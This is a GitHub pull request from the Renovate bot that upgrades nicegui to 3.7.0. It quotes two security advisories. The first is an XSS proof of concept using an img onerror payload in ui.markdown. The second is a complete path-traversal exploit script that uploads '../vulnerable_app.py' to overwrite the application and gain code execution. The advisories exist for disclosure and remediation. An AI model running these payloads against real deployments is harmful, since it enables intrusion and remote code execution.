Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Feb 5, 2026

This PR contains the following updates:

Package Change Age Confidence
nicegui 3.5.03.7.0 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2026-25516

Description

The ui.markdown() component uses the markdown2 library to convert markdown content to HTML, which is then rendered via innerHTML. By default, markdown2 allows raw HTML to pass through unchanged. This means that if an application renders user-controlled content through ui.markdown(), an attacker can inject malicious HTML containing JavaScript event handlers.

Unlike other NiceGUI components that render HTML (ui.html(), ui.chat_message(), ui.interactive_image()), the ui.markdown() component does not provide or require a sanitize parameter, leaving applications vulnerable to XSS attacks.

Proof of Concept

from nicegui import ui

# User-controlled input containing malicious payload
user_input = 'Hello! <img src=x onerror="alert(\'XSS\')">'

ui.markdown(user_input)  # XSS executes when page loads

ui.run()

When this page loads, the JavaScript in the onerror handler executes, potentially allowing an attacker to:

  • Steal session cookies or authentication tokens
  • Perform actions on behalf of the user
  • Redirect users to malicious sites
  • Modify page content

Impact

Applications that render user-provided content through ui.markdown() are vulnerable to stored or reflected XSS attacks. This is particularly concerning for:

  • Chat applications displaying user messages
  • CMS or documentation systems with user-editable content
  • Any application that displays markdown from untrusted sources

Remediation

A release has been published in version 3.7.0.

For Users (Immediate Workaround)

Until a fix is released, do not pass untrusted content directly to ui.markdown(). Instead, use one of these approaches:

Option 1: Convert and sanitize manually using ui.html()

import markdown2
from html_sanitizer import Sanitizer

sanitizer = Sanitizer()

def safe_markdown(content: str) -> None:
    """Render markdown with HTML sanitization."""
    html = markdown2.markdown(content)
    ui.html(sanitizer.sanitize(html), sanitize=False)

# Usage
safe_markdown(user_input)

Option 2: Escape HTML before markdown conversion (if raw HTML not needed)

import html

# Escape HTML entities - prevents any HTML from being interpreted
ui.markdown(html.escape(user_input))

Proposed Fix

Add a sanitize parameter to ui.markdown() consistent with other HTML-rendering components, and/or add an escape_html parameter.

CVE-2026-25732

Summary

NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.

Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.

Details

Vulnerable Component: nicegui/elements/upload_files.py (upload_files.py#L79-L82 and upload_files.py#L110-L115)

Affected Methods: SmallFileUpload.save()and LargeFileUpload.save()

async def save(self, path: str | Path) -> None:
    target = Path(path)
    target.parent.mkdir(parents=True, exist_ok=True)
    await run.io_bound(target.write_bytes, self._data)

Root Cause: The save() method performs no validation on the provided path parameter. It accepts:

  • Relative paths with ../ sequences
  • Absolute paths
  • Any file system location writable by the process

When developers use e.file.name (controlled by the attacker) in constructing save paths, directory traversal occurs:

save_path = UPLOAD_DIR / e.file.name  # e.file.name = "../app.py"
await e.file.save(save_path)           # Writes outside UPLOAD_DIR

PoC

  • Terminal 1 (App)
cd /tmp && mkdir -p evilgui && cd evilgui
python3 -m venv evilgui && source evilgui/bin/activate
pip install nicegui

cat > vulnerable_app.py << 'EOF'
from nicegui import ui
from pathlib import Path

UPLOAD_DIR = Path('./uploads')
UPLOAD_DIR.mkdir(exist_ok=True)

@&#8203;ui.page('/')
def index():
    async def handle_upload(e):
        save_path = UPLOAD_DIR / e.file.name
        await e.file.save(save_path)
        ui.notify(f'File saved: {e.file.name}')
    
    ui.upload(on_upload=handle_upload, auto_upload=True)

ui.run(port=8080, reload=False)
EOF

python3 vulnerable_app.py &
  • Terminal 2 (Exploit)
cat > exploit.py << 'EOF'
import requests, re, time

s = requests.Session()
s.get('http://localhost:8080')
time.sleep(2)

html = s.get('http://localhost:8080').text
match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html)
upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'

payload = '''from nicegui import ui
import subprocess
@&#8203;ui.page("/")
def index():
    ui.label(subprocess.check_output(["id"], text=True))
ui.run(port=8080, reload=False)
'''

s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})
EOF

python3 exploit.py
  • Restart the application to execute the injected code:
pkill -f vulnerable_app && python3 vulnerable_app.py

Impact

Affected Applications: All NiceGUI applications using ui.upload() where developers save files with e.file.save() and include user-controlled filenames (e.g., e.file.name) in the path.

Attack Capabilities:

  • Write files to any location writable by the application process
  • Overwrite Python application files to achieve remote code execution upon restart
  • Overwrite configuration files to alter application behavior
  • Write SSH keys, systemd units, or cron jobs for persistent access
  • Deny service by corrupting critical files

Exploitability: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like ../../../app.py to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use e.file.name directly, following patterns shown in community examples.

Remediation

For Users

async def handle_upload(e):
    safe_name = Path(e.file.name).name # Strip directory components!
    await e.file.save(UPLOAD_DIR / safe_name)

For Maintainers

async def save(self, path: str | Path, *, base_dir: Path | None = None) -> None:
    target = Path(path).resolve()
    
    if base_dir is not None:
        base_dir = base_dir.resolve()
        if not target.is_relative_to(base_dir):
            raise ValueError(
                f"Path '{target}' escapes base directory '{base_dir}'"
            )
    
    target.parent.mkdir(parents=True, exist_ok=True)
    await run.io_bound(target.write_bytes, self._data)

Release Notes

zauberzeug/nicegui (nicegui)

v3.7.0

Compare Source

Security
New features and enhancements
Bugfixes
Documentation
Testing
Dependencies
Infrastructure

Special thanks to our top sponsors Lechler GmbH and TestMu AI

and all our other sponsors and contributors for supporting this project!

🙏 Want to support this project? Check out our GitHub Sponsors page to help us keep building amazing features!

v3.6.1

Compare Source

Bugfix
Testing

Special thanks to our top sponsors Lechler GmbH and TestMu AI

and all our other sponsors and contributors for supporting this project!

🙏 Want to support this project? Check out our GitHub Sponsors page to help us keep building amazing features!

v3.6.0

Compare Source

New features and enhancements
Bugfixes
Documentation
Testing

Special thanks to our top sponsors Lechler GmbH and TestMu AI

and all our other sponsors and contributors for supporting this project!

🙏 Want to support this project? Check out our GitHub Sponsors page to help us keep building amazing features!


Configuration

📅 Schedule: Branch creation - "" in timezone Europe/Berlin, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added bot Automated pull requests or issues dependencies Pull requests that update a dependency file renovate Pull requests from Renovate skip:codecov Skip Codecov reporting and check skip:test:long_running Skip long-running tests (≥5min) labels Feb 5, 2026
@atlantis-platform-engineering
Copy link

Error: This repo is not allowlisted for Atlantis.

@renovate renovate bot force-pushed the renovate/pypi-nicegui-vulnerability branch from f73f9b1 to f318684 Compare February 6, 2026 09:54
@sonarqubecloud
Copy link

sonarqubecloud bot commented Feb 6, 2026

@olivermeyer olivermeyer merged commit 783bd86 into main Feb 6, 2026
24 of 25 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bot Automated pull requests or issues dependencies Pull requests that update a dependency file renovate Pull requests from Renovate skip:codecov Skip Codecov reporting and check skip:test:long_running Skip long-running tests (≥5min)

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant